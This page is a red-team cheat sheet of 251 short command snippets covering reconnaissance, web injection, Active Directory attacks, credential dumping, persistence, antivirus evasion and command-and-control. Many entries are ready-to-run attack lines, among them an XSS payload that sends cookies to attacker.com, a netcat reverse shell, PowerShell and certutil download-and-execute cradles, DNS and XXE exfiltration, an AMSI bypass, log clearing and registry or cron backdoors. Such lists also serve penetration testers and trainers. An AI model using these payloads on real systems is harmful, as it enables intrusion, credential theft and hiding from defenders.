Skip to content

Red Team Commands

251 curated command snippets for security professionals

Quick Filters:
Showing 251 of 251 commands
ReconNetworkNmap

Nmap - Top 1000 TCP

Default scripts and service detection on common ports.

nmap -sC -sV -oN nmap.txt <target>
ReconNetworkNmap

Nmap - All TCP ports

Full TCP sweep.

nmap -p- -T4 -oN nmap-all.txt <target>
ReconNetworkNmap

Nmap - UDP Top 100

Fast UDP reconnaissance.

nmap -sU --top-ports 100 -oN nmap-udp.txt <target>
ReconNetworkNaabu

Naabu - Quick ports

ProjectDiscovery port scan.

naabu -host <target> -p - | tee ports.txt
ReconWebhttpx

httpx - Probe live hosts

Web probe with status, title, and tech.

cat hosts.txt | httpx -status-code -title -tech-detect -o alive.txt
WebDiscoveryFFUF

ffuf - Directory brute force

Discover hidden paths.

ffuf -u https://<host>/FUZZ -w /path/wordlist.txt -fc 404 -o ffuf.json
WebDiscoverydirsearch

dirsearch - Content discovery

Fast content discovery.

dirsearch -u https://<host> -e php,aspx,js -x 403,404
OSINTWebWayback

waybackurls - Archived paths

Enumerate archived URLs.

echo <domain> | waybackurls | tee urls.txt
OSINTWebgau

gau - Gather URLs

Collect historical URLs.

echo <domain> | gau --subs | tee urls.txt
OSINTReconAmass

amass - Passive subdomains

Passive subdomain enumeration.

amass enum -passive -d <domain> -o subs.txt
OSINTReconSubfinder

subfinder - Subdomains

Fast passive subdomain discovery.

subfinder -d <domain> -all -silent | tee subs.txt
WebScanningNuclei

Nuclei - CVE templates

Template-based vuln checks.

nuclei -l urls.txt -t cves/ -o nuclei-cves.txt
WebScanningNikto

Nikto - Web scanner

Identify common misconfigs.

nikto -h https://<host> -ssl -o nikto.txt
ReconWebWappalyzer

Wappalyzer - CLI

Identify technologies.

wappalyzer https://<host>
ReconWebwhatweb

whatweb - Fingerprint

Website fingerprinting.

whatweb https://<host>
WebSQLisqlmap

sqlmap - Test parameter

Automated SQL injection.

sqlmap -u 'https://<host>/item?id=1' --batch --risk=2 --level=2
WebProxyBurp

Burp Suite - Proxy CA

Set up interception for web testing.

# Import Burp CA into browser to intercept TLS
WebCMSWPScan

wpscan - WordPress

WordPress enumeration.

wpscan --url https://<host> --enumerate u,vt,tt --api-token <token>
WebCMSJoomla

joomscan - Joomla!

Joomla scanner.

joomscan -u https://<host>
WebCMSDrupal

droopescan - Drupal

Drupal scanner.

droopescan scan drupal -u https://<host>
PasswordsCrackingHashcat

Hashcat - NTLM mask brute

NTLM cracking with mask attack (8 chars).

hashcat -m 1000 hashes.txt ?a?a?a?a?a?a?a?a -O --force
PasswordsCrackingHashcat

Hashcat - Rules attack

Smart candidate generation via rules.

hashcat -m 0 hashes.txt rockyou.txt -r rules/best64.rule -O
PasswordsCrackingJohn

John - Single crack

John the Ripper single crack mode.

john --single --format=NT hashes.txt
WindowsADKerberos

Kerbrute - User enum

Enumerate AD users via Kerberos.

kerbrute userenum --dc <dc-ip> -d <domain> users.txt
WindowsADKerberos

Rubeus - Kerberoast

Request service tickets for SPNs.

Rubeus kerberoast /nowrap
WindowsCredsMimikatz

mimikatz - dump creds

Dump credentials from memory.

privilege::debug 
 sekurlsa::logonpasswords
WindowsADBloodHound

SharpHound - Collect

Collect AD data for BloodHound.

SharpHound.exe -c All
NetworkPoisonResponder

Responder - Poison

LLMNR/NBT-NS/mDNS poisoning.

responder -I eth0 -wrf
WindowsSMBImpacket

Impacket - psexec

Execute commands over SMB.

psexec.py <domain>/<user>:<pass>@<target>
WindowsSprayCME

CrackMapExec - Spray

Password spraying across SMB.

cme smb <subnet> -u users.txt -p 'Winter2025!' --no-bruteforce
WindowsShellWinRM

Evil-WinRM - Shell

WinRM shell access.

evil-winrm -i <ip> -u <user> -p <pass>
ExploitMetasploitModules

Metasploit - Search

Search modules from CLI.

msfconsole -q -x 'search type:exploit name:<term>; exit'
C2MetasploitHandler

Metasploit - Handler

Start a payload handler.

use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST <ip>; set LPORT 4444; run
ExploitDatabaseEDB

searchsploit - Query

Search EDB vulnerabilities.

searchsploit <software> <version>
LinuxPrivEscEnum

Linux - SUID find

Find SUID binaries for privesc.

find / -perm -4000 -type f 2>/dev/null
LinuxPrivEscEnum

Linux - Capabilities

Enumerate Linux capabilities.

getcap -r / 2>/dev/null
LinuxPrivEscEnum

LinPEAS - Privesc

Automated Linux privesc enumeration.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh
WindowsPrivEscEnum

Windows - Unquoted services

Identify unquoted service paths.

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v '"' 
WindowsPrivEscPowerUp

PowerUp - Checks

Windows privesc checks.

powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks"
WirelessWi-FiAircrack

Aircrack-ng - Monitor mode

Enable monitor mode on wireless interface.

airmon-ng start wlan0
WirelessWi-FiAircrack

Aircrack-ng - Capture handshake

Capture WPA handshake.

airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0mon
WirelessWi-FiCracking

Aircrack-ng - Crack WPA

Crack WPA using wordlist.

aircrack-ng -w rockyou.txt -b <AP_MAC> capture*.cap
NetworkCaptureWireshark

Wireshark - CLI capture

Capture packets with tshark.

tshark -i eth0 -w capture.pcap
NetworkCapturetcpdump

tcpdump - Capture to file

Packet capture with tcpdump.

tcpdump -i eth0 -w capture.pcap
NetworkMitMBettercap

Bettercap - ARP spoof

ARP spoofing and sniffing.

bettercap -iface eth0 -eval 'set arp.spoof.targets <target>; arp.spoof on; net.sniff on'
NetworkPacketScapy

Scapy - Packet craft

Interactive packet manipulation (Python).

scapy
AuthBruteHydra

Hydra - SSH brute

Brute force SSH credentials.

hydra -l <user> -P passwords.txt ssh://<target>
WebBruteHydra

Hydra - HTTP POST

Brute force web login.

hydra -l <user> -P passwords.txt <target> http-post-form '/login:username=^USER^&password=^PASS^:F=incorrect'
WebBurpIntruder

Burp Intruder - Position

Mark injection points in Burp Suite.

# Use Burp Intruder with §markers§ for payloads
WebXSSPayload

XSS - Basic payload

Simple XSS proof of concept.

<script>alert(document.domain)</script>
WebXSSPayload

XSS - Steal cookies

Exfiltrate cookies via XSS.

<script>fetch('https://attacker.com/?c='+document.cookie)</script>
WebSQLiPayload

SQLi - Union query

Extract data via SQL injection.

' UNION SELECT null,username,password FROM users--
WebSQLiPayload

SQLi - Error-based

Trigger error messages for enumeration.

' AND 1=convert(int,(SELECT @@version))--
CloudSSRFAWS

SSRF - AWS metadata

Access AWS instance metadata.

http://169.254.169.254/latest/meta-data/
CloudAWSEnum

AWS CLI - List S3 buckets

Enumerate S3 buckets.

aws s3 ls --profile <profile>
CloudAWSS3

AWS CLI - Public bucket check

Test for public S3 access.

aws s3 ls s3://<bucket> --no-sign-request
CloudKubernetesEnum

kubectl - List pods

List all pods in all namespaces.

kubectl get pods -A
CloudKubernetesShell

kubectl - Exec into pod

Interactive shell in pod.

kubectl exec -it <pod-name> -n <namespace> -- /bin/bash
ContainersDockerEnum

Docker - Escape check

Check if inside a container.

cat /proc/1/cgroup | grep docker
ContainersDockerEscape

Docker - Mount host

Mount host filesystem in container.

docker run -v /:/host -it ubuntu chroot /host
CloudAzureEnum

Azure CLI - List VMs

Enumerate Azure VMs.

az vm list --output table
CloudGCPEnum

GCP - List projects

List GCP projects.

gcloud projects list
CloudAWSFramework

Pacu - AWS exploit

AWS exploitation framework.

pacu
CloudAuditScoutSuite

ScoutSuite - Cloud audit

Multi-cloud security audit.

scout aws --profile <profile>
DFIRMemoryVolatility

Volatility - Image info

Identify memory profile.

volatility -f memory.dmp imageinfo
DFIRMemoryVolatility

Volatility - List processes

List running processes from memory.

volatility -f memory.dmp --profile=<profile> pslist
DFIRForensicsAutopsy

Autopsy - Timeline

Launch Autopsy GUI for disk analysis.

autopsy
DFIRForensicsFTK

FTK Imager - Acquire

Create bit-by-bit disk images.

# Use FTK Imager GUI to create forensic images
DFIRForensicsdd

dd - Disk image

Create raw disk image.

dd if=/dev/sda of=disk.img bs=4M status=progress
REFirmwarebinwalk

binwalk - Extract firmware

Extract embedded files from firmware.

binwalk -e firmware.bin
REAnalysisstrings

strings - Extract text

Find printable strings in binary.

strings -n 10 binary | less
REDynamicltrace

ltrace - Library calls

Trace library calls.

ltrace ./binary
REDynamicstrace

strace - System calls

Trace system calls.

strace ./binary
REStaticGhidra

Ghidra - Decompile

Static analysis with Ghidra.

# Import binary into Ghidra and analyze
REStaticradare2

radare2 - Disassemble

Disassemble and analyze binary.

r2 -A binary
REStaticobjdump

objdump - Disasm section

Disassemble with objdump.

objdump -d -M intel binary
MobileAndroidADB

ADB - List devices

List connected Android devices.

adb devices
MobileAndroidADB

ADB - Pull APK

Extract APK from device.

adb pull /data/app/<package>/base.apk
MobileAndroidapktool

apktool - Decompile APK

Decompile APK resources.

apktool d app.apk
MobileAndroidFrida

Frida - Trace Android

Trace Android method calls.

frida-trace -U -i '*decrypt*' <package>
MobileiOSobjection

objection - iOS explore

Runtime instrumentation for iOS.

objection -g <app> explore
PivotingSSHTunnel

SSH - Local port forward

Forward remote port to local.

ssh -L 8080:localhost:80 user@remote
PivotingSSHSOCKS

SSH - Dynamic SOCKS

Create SOCKS proxy via SSH.

ssh -D 9050 user@remote
PivotingTunnelChisel

Chisel - Reverse tunnel

Reverse port forwarding.

chisel server -p 8080 --reverse
PivotingTunnelsocat

socat - Port relay

Relay traffic between ports.

socat TCP-LISTEN:8080,fork TCP:<target>:80
PivotingSOCKSproxychains

proxychains - Route through SOCKS

Route tools through SOCKS proxy.

proxychains nmap -sT <target>
PivotingTunnelLigolo

Ligolo-ng - Pivot agent

Modern tunneling for pivoting.

ligolo-ng -selfcert
C2Post-ExEmpire

Empire - Listener

Start Empire C2 listener.

uselistener http
C2Post-ExCovenant

Covenant - Grunt

Create agent for Covenant C2.

# Generate Grunt payload in Covenant UI
PhishingSocialGophish

Gophish - Start server

Launch Gophish phishing framework.

gophish
PhishingSocialSET

SET - Credential harvester

Social Engineering Toolkit.

setoolkit
PhishingMitMEvilginx

Evilginx2 - Phishlet

MitM phishing with 2FA bypass.

evilginx2 -p phishlets/
ExfilDNScurl

curl - Exfil via DNS

Exfiltrate data via DNS.

curl http://$(whoami).attacker.com
ShellNetcatReverse

nc - Reverse shell

Netcat reverse shell.

nc -e /bin/bash attacker.com 4444
WindowsDownloadPowerShell

PowerShell - Download

Download and execute PowerShell.

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')"
WindowsDownloadLOL

certutil - Download file

Download using certutil.

certutil -urlcache -f http://attacker.com/file.exe file.exe
WindowsDownloadLOL

bitsadmin - Download

Background download on Windows.

bitsadmin /transfer job http://attacker.com/file.exe C:\temp\file.exe
WindowsExecutionLOL

mshta - Execute HTA

Execute HTA payload.

mshta http://attacker.com/payload.hta
WindowsExecutionLOL

regsvr32 - Squiblydoo

Execute scriptlet via regsvr32.

regsvr32 /u /n /s /i:http://attacker.com/file.sct scrobj.dll
LinuxPersistenceCron

Cron - Persistence

Add cron job for persistence.

(crontab -l; echo '@reboot /path/to/backdoor') | crontab -
LinuxPersistenceSystemd

Systemd - Service persistence

Linux persistence via systemd.

# Create service file in /etc/systemd/system/
WindowsPersistenceRegistry

Registry - Run key

Windows persistence via registry.

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\backdoor.exe"
WindowsPersistenceTasks

Scheduled Task - Persist

Windows persistence via task.

schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
WindowsPersistenceWMI

WMI - Event subscription

Persistence via WMI.

# Use wmic or PowerShell to create WMI event subscription
WindowsCredsLaZagne

LaZagne - Dump passwords

Extract stored credentials.

laZagne.exe all
WindowsCredsImpacket

Secretsdump - Remote

Dump hashes remotely.

secretsdump.py <domain>/<user>:<pass>@<target>
WindowsLateralImpacket

PsExec - Remote exec

Remote command execution.

psexec.py <domain>/<user>:<pass>@<target> cmd.exe
WindowsLateralImpacket

WMIExec - Remote exec

Execute via WMI.

wmiexec.py <domain>/<user>:<pass>@<target>
WindowsLateralImpacket

SMBExec - Remote exec

Execute via SMB.

smbexec.py <domain>/<user>:<pass>@<target>
WindowsEnumRPC

rpcclient - Enum users

Enumerate domain users.

rpcclient -U '' -N <target> -c 'enumdomusers'
WindowsEnumSMB

enum4linux - Full enum

Comprehensive SMB enumeration.

enum4linux -a <target>
WindowsEnumSMB

smbclient - List shares

List SMB shares.

smbclient -L //<target> -N
WindowsEnumSMB

smbmap - Enum shares

Enumerate SMB share permissions.

smbmap -H <target>
WindowsADBloodHound

BloodHound - Ingest data

Analyze AD attack paths.

# Import SharpHound JSON into BloodHound
ReconScanningMasscan

Masscan - Internet scan

High-speed port scanner.

masscan -p80,443 0.0.0.0/0 --rate 10000
OSINTShodanRecon

Shodan - CLI search

Search Shodan from CLI.

shodan search 'product:apache'
OSINTRecontheHarvester

theHarvester - Email enum

Gather emails and subdomains.

theHarvester -d <domain> -b all
OSINTReconRecon-ng

Recon-ng - Workspace

OSINT reconnaissance framework.

recon-ng -w <workspace>
OSINTReconSpiderFoot

SpiderFoot - Auto OSINT

Automated OSINT collection.

spiderfoot -s <target>
ReconDNSDNSRecon

DNSRecon - Full enum

Comprehensive DNS enumeration.

dnsrecon -d <domain> -t axfr,brt,srv,std
ReconDNSFierce

Fierce - DNS brute

DNS reconnaissance and brute force.

fierce --domain <domain>
ReconDNSdig

dig - AXFR attempt

Attempt zone transfer.

dig axfr @<nameserver> <domain>
ReconDNSnslookup

nslookup - Reverse lookup

Reverse DNS lookup.

nslookup <ip>
OSINTReconwhois

whois - Domain info

Query domain registration info.

whois <domain>
WindowsADLDAP

LDAP - Anonymous bind

Anonymous LDAP enumeration.

ldapsearch -x -H ldap://<target> -b 'dc=domain,dc=com'
WindowsADLDAP

ldapdomaindump - Extract AD

Dump AD via LDAP.

ldapdomaindump -u '<domain>\<user>' -p <pass> <dc-ip>
WindowsADSysinternals

ADExplorer - Snapshot

Offline AD browsing.

# Create AD snapshot in ADExplorer GUI
WindowsADPowerView

PowerView - Get users

Enumerate AD users.

powershell -c "Import-Module .\PowerView.ps1; Get-DomainUser"
WindowsADPowerView

PowerView - Find shares

Find accessible shares.

powershell -c "Import-Module .\PowerView.ps1; Invoke-ShareFinder"
WindowsADKerberos

Invoke-Kerberoast

Kerberoast attack.

powershell -c "Import-Module .\PowerView.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
WindowsADKerberos

AS-REP Roast

AS-REP roasting for users without preauth.

GetNPUsers.py <domain>/ -usersfile users.txt -dc-ip <dc-ip>
WindowsADDelegation

Constrained delegation

Abuse constrained delegation.

getST.py -spn <service>/<host> -impersonate Administrator <domain>/<user>:<pass>
WindowsADDCShadow

DCShadow - Register

Advanced AD persistence.

# Use mimikatz DCShadow to register rogue DC
WindowsRelayNTLM

NTLM relay - responder + ntlmrelayx

Relay NTLM auth to targets.

ntlmrelayx.py -tf targets.txt -smb2support
WindowsCoercionCoercer

Coercer - Force auth

Coerce authentication from target.

coercer -u <user> -p <pass> -d <domain> -t <target> -l <listener>
WindowsCoercionPetitPotam

PetitPotam - Coerce

EFSRPC coercion.

PetitPotam.py <listener> <target>
WindowsCoercionPrinterBug

PrinterBug - Coerce

Printer bug coercion.

printerbug.py <domain>/<user>:<pass>@<target> <listener>
WindowsADCertipy

certipy - Find vuln templates

Find vulnerable AD CS templates.

certipy find -u <user>@<domain> -p <pass> -dc-ip <dc-ip> -vulnerable
WindowsADCertify

Certify - Enum templates

Enumerate AD CS vulnerabilities.

Certify.exe find /vulnerable
WebInjectionCommix

Commix - Command injection

Automated command injection.

commix --url='http://<target>/page?param=1'
WebNoSQLInjection

NoSQLMap - NoSQL injection

NoSQL injection testing.

nosqlmap -t http://<target> -p param
WebXXEInjection

XXEinjector - XXE

XXE exploitation.

xxeinjector --host=<target> --path=/ --file=xml.xml --oob=http --phpfilter
WebSSTIInjection

tplmap - SSTI

Server-side template injection.

tplmap -u 'http://<target>?name=*'
WebDiscoveryArjun

Arjun - Param discovery

HTTP parameter discovery.

arjun -u https://<target>
WebDiscoveryParamSpider

ParamSpider - URL params

Mine parameters from archives.

paramspider -d <domain>
WebXSSDalfox

Dalfox - XSS scanner

Fast XSS scanner.

dalfox url https://<target>?param=test
WebXSSXSStrike

XSStrike - XSS

Advanced XSS detection.

xsstrike -u 'http://<target>?param=1'
WebJWTAuth

JWT_Tool - Analyze token

Test JWT security.

jwt_tool <token>
WebGraphQLAPI

GraphQL - Introspection

Query GraphQL schema.

curl -X POST https://<target>/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}'
WebAPIPostman

Postman - API test

API development and testing.

# Use Postman for API testing
WebAPISwagger

Swagger - API docs

Discover API documentation.

# Access /swagger or /api-docs endpoint
WebCORSTesting

CORS - Test config

Test CORS configuration.

curl -H "Origin: https://evil.com" https://<target> -I
WebCSRFPoC

CSRF - PoC

CSRF proof of concept.

<form action="https://<target>/action" method="POST"><input type="hidden" name="param" value="value"/></form><script>document.forms[0].submit()</script>
WebClickjackingPoC

Clickjacking - PoC

Clickjacking test.

<iframe src="https://<target>" style="opacity:0.1;position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
WebSSRFBypass

SSRF - Bypass localhost

SSRF localhost bypass techniques.

http://127.0.0.1/ or http://[::1]/ or http://localhost.attacker.com
WebLFIFiles

LFI - /etc/passwd

Local file inclusion test.

../../../etc/passwd
WebLFIPHP

LFI - PHP filter

Extract PHP source via filter.

php://filter/convert.base64-encode/resource=index.php
WebRFIFiles

RFI - Remote include

Remote file inclusion.

http://attacker.com/shell.txt
WebUploadBypass

File upload - Bypass extension

Bypass upload filters.

shell.php.jpg or shell.phtml or .htaccess tricks
WebUploadPolyglot

Polyglot file

Bypass content-type validation.

# Create file valid as multiple types (JPEG + PHP)
WebDeserializationPHP

Deserialization - PHP

PHP object injection.

O:8:"stdClass":1:{s:4:"test";s:4:"pwnd";}
WebDeserializationJava

Java deserialization - ysoserial

Generate Java gadget chains.

java -jar ysoserial.jar CommonsCollections5 'calc'
WebLDAPInjection

LDAP injection

LDAP injection payload.

*)(&(password=*) or *)(cn=*
WebXXEDoS

XML bomb

XML entity expansion DoS.

<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;">]><lolz>&lol2;</lolz>
EncodingObfuscationBase64

Base64 encode

Encode payload in base64.

echo -n 'payload' | base64
EncodingObfuscationBase64

Base64 decode

Decode base64.

echo 'cGF5bG9hZA==' | base64 -d
EncodingBypassURL

URL encode

URL encoding for bypass.

# Use %20 for space, %3C for <, etc.
EncodingBypassUnicode

Unicode encode

Unicode encoding bypass.

# Use \u0061 for 'a', etc.
EncodingBypassHTML

HTML entities

HTML entity encoding.

&lt;script&gt; for <script>
WindowsPowerShellEncoding

PowerShell - Base64 cmd

Execute encoded PowerShell.

powershell -enc <base64>
WindowsPowerShellDownload

PowerShell - Download cradle

Download and execute.

powershell -c "IEX(IWR http://attacker.com/s -UseBasicParsing)"
WindowsEvasionAMSI

AMSI bypass - patching

Bypass AMSI in memory.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
WindowsObfuscationPowerShell

Invoke-Obfuscation

Obfuscate PowerShell scripts.

# Use Invoke-Obfuscation.ps1 to obfuscate scripts
EvasionShellcodeDonut

Donut - Shellcode gen

Generate position-independent shellcode.

donut -f <exe> -o shellcode.bin
EvasionAVVeil

Veil - AV evasion

Generate AV-evading payloads.

veil
EvasionInjectionShellter

Shellter - Inject shellcode

Inject shellcode into PE.

shellter
PayloadsMetasploitmsfvenom

msfvenom - Payload gen

Generate Metasploit payload.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o payload.exe
PayloadsEncodingmsfvenom

msfvenom - Encoder

Encode payload to evade signatures.

msfvenom -p <payload> -e x86/shikata_ga_nai -i 10
C2Cobalt StrikeBeacon

Cobalt Strike - Beacon

Create CS agent.

# Generate Cobalt Strike beacon
C2SliverImplant

Sliver - Implant

Generate Sliver implant.

generate --http <domain> --save /tmp/implant
C2Redirectorsocat

C2 redirector - socat

Simple C2 redirector.

socat TCP4-LISTEN:80,fork TCP4:<c2-server>:80
C2EvasionFronting

Domain fronting - CDN

Evade detection via domain fronting.

# Use CDN domain with Host header to real C2
C2TunnelDNS

DNS tunneling - dnscat2

Tunnel over DNS.

dnscat2-server <domain>
C2TunnelICMP

ICMP tunnel - ptunnel

Tunnel over ICMP.

ptunnel -p <proxy> -lp <lport> -da <dest> -dp <dport>
C2EvasionMalleable

HTTP/S beacon - malleable

Customize beacon traffic.

# Use Cobalt Strike malleable C2 profiles
WindowsLOLEvasion

Living off the land - LOLBins

Evade detection using system tools.

# Use built-in Windows binaries for execution
WindowsEvasionLogs

PowerShell - AMSI log bypass

Clear PowerShell logs.

[Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession.ClearLog('Microsoft-Windows-PowerShell/Operational')
WindowsEvasionDefender

Windows Defender - Exclusion

Add Defender exclusion.

Add-MpPreference -ExclusionPath "C:\payload"
WindowsBypassAppLocker

AppLocker bypass - regsvr32

Bypass AppLocker.

regsvr32 /s /n /u /i:http://attacker.com/file.sct scrobj.dll
WindowsInjectionAPI

Process injection - CreateRemoteThread

Classic process injection.

# Use Windows API CreateRemoteThread
WindowsInjectionHollowing

Process hollowing

Process hollowing technique.

# Create suspended process, unmap, write payload, resume
WindowsInjectionDLL

Reflective DLL injection

Reflective DLL loading.

# Load DLL from memory without disk
WindowsInjectionAPC

APC injection

APC queue injection.

# Queue APC to thread for execution
WindowsInjectionThread

Thread hijacking

Hijack existing thread.

# Suspend thread, set context, resume
WindowsInjectionPE

PE injection - Manual map

Manual PE mapping.

# Manually map PE sections into memory
WindowsEvasionPPID

Parent PID spoofing

Spoof parent process ID.

# Use UpdateProcThreadAttribute to spoof parent
WindowsPrivilegeToken

Token impersonation

Impersonate user token.

# Use ImpersonateLoggedOnUser API
WindowsPrivilegeToken

Token duplication

Duplicate access token.

# Duplicate token with DuplicateTokenEx
WindowsPrivilegeDebug

SeDebugPrivilege enable

Enable debug privilege.

# Enable SeDebugPrivilege for process access
WindowsCredentialslsass

Credential dumping - lsass

Extract credentials from lsass.

# Dump lsass.exe memory for credentials
WindowsCredentialsSAM

SAM database dump

Dump SAM and SYSTEM hives.

reg save HKLM\SAM sam.hive && reg save HKLM\SYSTEM system.hive
WindowsCredentialsDPAPI

DPAPI - MasterKey

Decrypt DPAPI protected data.

# Extract DPAPI master keys
WindowsCredentialsBrowser

Browser creds - SharpWeb

Extract browser credentials.

SharpWeb.exe
WindowsCredentialsVault

Vault creds - VaultCmd

List Windows Vault credentials.

VaultCmd.exe /list
ContainersEscapeDocker

Docker escape - Privileged

Escape privileged Docker container.

# Mount host filesystem in privileged container
ContainersEscapeDocker

Docker - Host mount

Access host filesystem.

docker run -v /:/hostfs -it alpine chroot /hostfs
ContainersK8sPrivesc

Kubernetes - Privesc via token

Escalate via K8s service account.

# Use service account token for API access
ContainersK8sEscape

Kubernetes - HostPath mount

Access host filesystem from pod.

# Mount host paths in pod spec
ContainersK8sExec

Kubernetes - Exec into pod

Shell into running pod.

kubectl exec -it <pod> -- /bin/bash
ContainersCapabilitiesEscape

Container - Capabilities abuse

Abuse Linux capabilities.

# Use CAP_SYS_ADMIN for escape
CloudAWSSSRF

Cloud - AWS metadata SSRF

Extract AWS credentials via SSRF.

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
CloudAzureMetadata

Cloud - Azure metadata

Query Azure metadata.

curl -H Metadata:true 'http://169.254.169.254/metadata/instance?api-version=2021-02-01'
CloudGCPMetadata

Cloud - GCP metadata

Query GCP metadata.

curl 'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true' -H 'Metadata-Flavor: Google'
CloudAWSS3

Cloud - S3 bucket enum

List public S3 bucket.

aws s3 ls s3://<bucket> --no-sign-request
SecretsGitTruffles

Git - Search secrets

Find secrets in Git history.

trufflehog git https://github.com/org/repo
SecretsGitGitleaks

Git - Gitleaks

Detect secrets in Git repos.

gitleaks detect --source . -v
SecretsGitHubDorking

GitHub - Dorking

GitHub dork for secrets.

# Search: org:target password OR token
SecretsENVFiles

ENV files - Search

Find .env files with secrets.

find / -name ".env" 2>/dev/null
SecretsTerraformIaC

Terraform - State file

Extract secrets from Terraform state.

# Check terraform.tfstate for secrets
SecretsAnsibleVault

Ansible - Vault

Decrypt Ansible Vault.

ansible-vault decrypt vault.yml
CI/CDJenkinsSecrets

CI/CD - Jenkins creds

Extract Jenkins credentials.

# Access /script console or credentials store
CI/CDGitLabSecrets

CI/CD - GitLab CI secrets

Find secrets in GitLab CI config.

# Check .gitlab-ci.yml for hardcoded secrets
CI/CDGitHubSecrets

CI/CD - GitHub Actions

Check GitHub Actions for secrets.

# Review workflow files for secrets
CI/CDPipelineAbuse

CI/CD - Pipeline abuse

Compromise CI/CD pipeline.

# Inject malicious steps into CI pipeline
SupplyDependenciesConfusion

Supply chain - Dependency confusion

Dependency confusion attack.

# Upload malicious package to public repo with same name
SupplyNPMTypo

NPM - Typosquatting

Typosquatting attack.

# Register typo of popular package
SupplyPyPIMalicious

PyPI - Malicious package

Publish malicious PyPI package.

# Upload malicious Python package
APIBypassRateLimit

API - Rate limit bypass

Bypass API rate limits.

# Use multiple IPs or tokens
APIExploitMassAssignment

API - Mass assignment

Exploit mass assignment.

# POST {"isAdmin": true}
APIIDORExploit

API - IDOR

Insecure Direct Object Reference.

# Change /api/user/123 to /api/user/124
APIGraphQLBatching

API - GraphQL batching

GraphQL batching abuse.

# Send batched queries to bypass rate limits
WebCachePoisoning

Cache poisoning - Web cache

Web cache poisoning.

# Inject malicious header: X-Forwarded-Host: evil.com
WebCachePoisoning

Cache poisoning - Unkeyed header

Exploit unkeyed headers.

# Find unkeyed headers affecting response
WebSmugglingHTTP

HTTP request smuggling - CL.TE

CL.TE request smuggling.

# Content-Length vs Transfer-Encoding
WebSmugglingHTTP

HTTP request smuggling - TE.CL

TE.CL request smuggling.

# Transfer-Encoding vs Content-Length
WebSmugglingHTTP2

HTTP/2 - Request smuggling

HTTP/2 downgrade smuggling.

# Downgrade to HTTP/1.1 with smuggling
WebWebSocketCSRF

WebSocket - Hijacking

WebSocket CSRF.

# CSRF on WebSocket handshake
WebWebSocketInjection

WebSocket - Message injection

WebSocket message injection.

# Inject malicious messages: {"cmd":"admin"}
WebJSPollution

Prototype pollution - JS

JavaScript prototype pollution.

__proto__.isAdmin = true
WebJSONPollution

Prototype pollution - JSON

Exploit via JSON payload.

{"__proto__":{"isAdmin":true}}
WebNodePollution

Server-side prototype pollution

Server-side prototype pollution.

# Pollute global object on Node.js server
WebRaceTOCTOU

Race condition - TOCTOU

Race condition exploit.

# Time-of-check to time-of-use exploit
WebRaceBurp

Race condition - Burp Intruder

Automated race condition.

# Use single-packet attack in Intruder
WebLogicAbuse

Business logic - Discount abuse

Abuse discount codes.

# Apply coupon multiple times
WebLogicAbuse

Business logic - Negative quantity

Negative quantity exploit.

# POST {"qty": -1}
WebSSRFBlind

SSRF - Blind

Blind SSRF detection.

# Trigger DNS/HTTP request to attacker
WebSSRFXXECloud

SSRF - Cloud metadata XXE

Combine XXE + SSRF for cloud metadata.

# XXE payload to fetch cloud metadata
WebXXEFileRead

XXE - File read

XXE to read local files.

<!ENTITY xxe SYSTEM "file:///etc/passwd">
WebXXEBlind

XXE - Blind OOB

Blind XXE with OOB.

<!ENTITY % xxe SYSTEM "http://attacker.com/?data=%file;">
WebSSTIJinja2

SSTI - Jinja2

Server-Side Template Injection (Jinja2).

{{config.items()}}
WebSSTITwig

SSTI - Twig RCE

Twig SSTI RCE.

{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}